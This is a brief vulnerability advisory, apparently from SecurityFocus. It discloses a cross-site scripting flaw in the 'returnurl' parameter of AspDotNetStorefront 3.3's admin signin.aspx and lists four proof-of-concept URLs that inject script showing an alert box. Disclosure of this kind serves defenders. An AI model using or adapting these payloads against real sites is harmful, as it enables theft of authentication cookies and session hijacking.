source: https://www.securityfocus.com/bid/10507/info

AspDotNetStorefront is prone to a cross-site scripting vulnerability. This issue exists due to insufficient sanitization of user-supplied data. The problem presents itself in the 'returnurl' parameter of the 'signin.aspx' script of the application and can allow remote attackers to steal cookie-based authentication credentials and carry out other attacks.

AspDotNetStorefront 3.3 is reportedly affected by this issue, however, it is possible that other versions are affected as well.

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=1"style=
"background:url(javascript:alert('Vulnerable_To_XSS'))"%20"

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=--><scri
pt>alert('Vulnerable_To_XSS')</script>

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=>"><scri
pt>alert("Vulnerable_To_XSS")</script>

http://www.example.com/aspdotnetcart/admin/signin.aspx?returnurl=>"'><img
%20src="javascript:alert('Vulnerable_To_XSS')">